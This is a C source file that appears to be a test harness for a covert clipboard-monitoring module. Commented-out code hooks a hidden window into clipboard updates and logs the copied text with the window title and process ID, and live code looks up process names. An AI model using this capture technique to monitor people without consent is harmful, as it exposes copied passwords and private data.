#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

#include "..\Runtime\Runtime.h"
#include "clipboard.h"


#pragma comment( linker, "/subsystem:console" )
#pragma section("loader", read,execute)
#pragma code_seg("loader")

//
//
//VOID HandleClipboardUpdate()
//{
//	HWND hFocus = GetForegroundWindow();
//	OpenClipboard(hFocus);
//	HANDLE hData = GetClipboardData(CF_UNICODETEXT);
//
//	WCHAR* clipboard_content = (WCHAR *)GlobalLock(hData);
//	OutputDebugStringW(clipboard_content);
//	GlobalUnlock(hData);
//	CloseClipboard();
//}
//
//
//VOID HandleClipboardUpdate2()
//{
//	CHAR buffer[1024];
//	CHAR out[2048];
//
//	HWND hFocus = GetForegroundWindow();
//	HWND hOwner = GetClipboardOwner();
//	OpenClipboard(hOwner);
//	HANDLE hData = GetClipboardData(CF_TEXT);
//
//	CHAR* clipboard_content = (CHAR *)GlobalLock(hData);
//	GetWindowText(hFocus, buffer, 1024);
//
//	DWORD dwProcessId;
//	GetWindowThreadProcessId(hOwner, &dwProcessId);
//
//	_snprintf_s(out, 2048, _TRUNCATE, "(%d) [%s]: %s\n", dwProcessId, buffer, clipboard_content);
//	OutputDebugString(out);
//	GlobalUnlock(hData);
//	CloseClipboard();
//}
//
//LRESULT CALLBACK WindowProc(
//	_In_  HWND hwnd,
//	_In_  UINT uMsg,
//	_In_  WPARAM wParam,
//	_In_  LPARAM lParam
//	)
//{
//	switch (uMsg)
//	{
//	case WM_CLIPBOARDUPDATE:
//		HandleClipboardUpdate2();
//		return 0;
//	case WM_CREATE:
//		return 0;
//	case WM_PAINT:
//		return 0;
//	case WM_SIZE:
//		return 0;
//	case WM_DESTROY:
//		return 0;
//	default:
//		return DefWindowProc(hwnd, uMsg, wParam, lParam);
//	}
//
//	return 0;
//}
//
//HWND hScoutMessageWindow = NULL;
//
//BOOL CreateMessageWindow()
//{
//
//	
//
//	WNDCLASSEX wClass;
//	LPCSTR strClassName = "Axor";
//	SecureZeroMemory(&wClass, sizeof(WNDCLASSEX));
//
//	wClass.cbSize = sizeof(WNDCLASSEX);
//	wClass.lpszClassName = strClassName;
//	wClass.lpfnWndProc = WindowProc;
//
//	if (!RegisterClassEx(&wClass))
//	{
//		OutputDebugStringW(L"[+] Cannot create message window class: %08x\n");// , GetLastError());
//		return FALSE;
//	}
//
//	hScoutMessageWindow = CreateWindowEx( 0L, strClassName, strClassName, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
//	if (!hScoutMessageWindow)
//	{
//		OutputDebugStringW(L"[+] Cannot create message window: %08x\n");// GetLastError());
//		return FALSE;
//	}
//	BOOL res = AddClipboardFormatListener(hScoutMessageWindow);
//	//Sleep(100000);
//	
//	while (TRUE)
//	{
//
//		MSG  msg;
//
//		while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE))
//		{
//			TranslateMessage(&msg);
//			DispatchMessage(&msg);
//
//			//if (msg.message == WM_QUIT)
//			//{
//			//	return 0;
//			//}
//			//else
//			//{
//				
//		}
//
//		// run frame code here
//	}
//
//	return TRUE;
//}

//BOOL CreateMessageWindow2()
//{
//	HWND handle = NULL;
//	static const char* class_name = "DUMMY_CLASS";
//	WNDCLASSEX wx = {};
//	wx.cbSize = sizeof(WNDCLASSEX);
//	wx.lpfnWndProc = WindowProc;        // function which will handle messages
//	wx.hInstance = NULL;// current_instance;
//	wx.lpszClassName = class_name;
//	if (RegisterClassEx(&wx)) {
//		handle= CreateWindowEx(0, class_name, "dummy_name", 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
//	}
//
//	BOOL res = AddClipboardFormatListener(handle);
//	
//	return TRUE;
//}

char *HM_FindProc(DWORD pid)
{
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;
	DWORD dwPID = 0;
	char *name_offs;
	char *ret_name = NULL;

	pe32.dwSize = sizeof(PROCESSENTRY32);
	if ((hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
		return NULL;

	if (!Process32First(hProcessSnap, &pe32)) {
		CloseHandle(hProcessSnap);
		return NULL;
	}

	// Cicla la lista dei processi attivi
	do {
		// Cerca il processo "pid"
		if (pe32.th32ProcessID == pid) {
			// Elimina il path
			name_offs = strrchr(pe32.szExeFile, '\\');
			if (!name_offs)
				name_offs = pe32.szExeFile;
			else
				name_offs++;
			ret_name = _strdup(name_offs);
			break;
		}
	} while (Process32Next(hProcessSnap, &pe32));

	CloseHandle(hProcessSnap);
	return ret_name;
}


//int CALLBACK WinMain(__in HINSTANCE hInstance,__in HINSTANCE hPrevInstance,	__in LPSTR lpCmdLine,__in int nCmdShow)
//{
//	//CreateMessageWindow();
//
//	/*CHAR buf[30];
//	_snprintf_s(buf, 30, 30, "%d\n", GetClipboardSequenceNumber());
//	OutputDebugStringA(buf);
//	DebugBreak();
//	_snprintf_s(buf, 30, 30, "%d\n", GetClipboardSequenceNumber());
//	OutputDebugStringA(buf);
//	DebugBreak();
//	_snprintf_s(buf, 30, 30, "%d\n", GetClipboardSequenceNumber());
//	OutputDebugStringA(buf);
//	DebugBreak();
//	_snprintf_s(buf, 30, 30, "%d\n", GetClipboardSequenceNumber());
//	OutputDebugStringA(buf);
//	DebugBreak();*/
//
//	return 0;
//}
//
void main()
{
	PRUNTIME pRuntime = LoadRuntime();

	ModuleClipboardMain(pRuntime);
	
}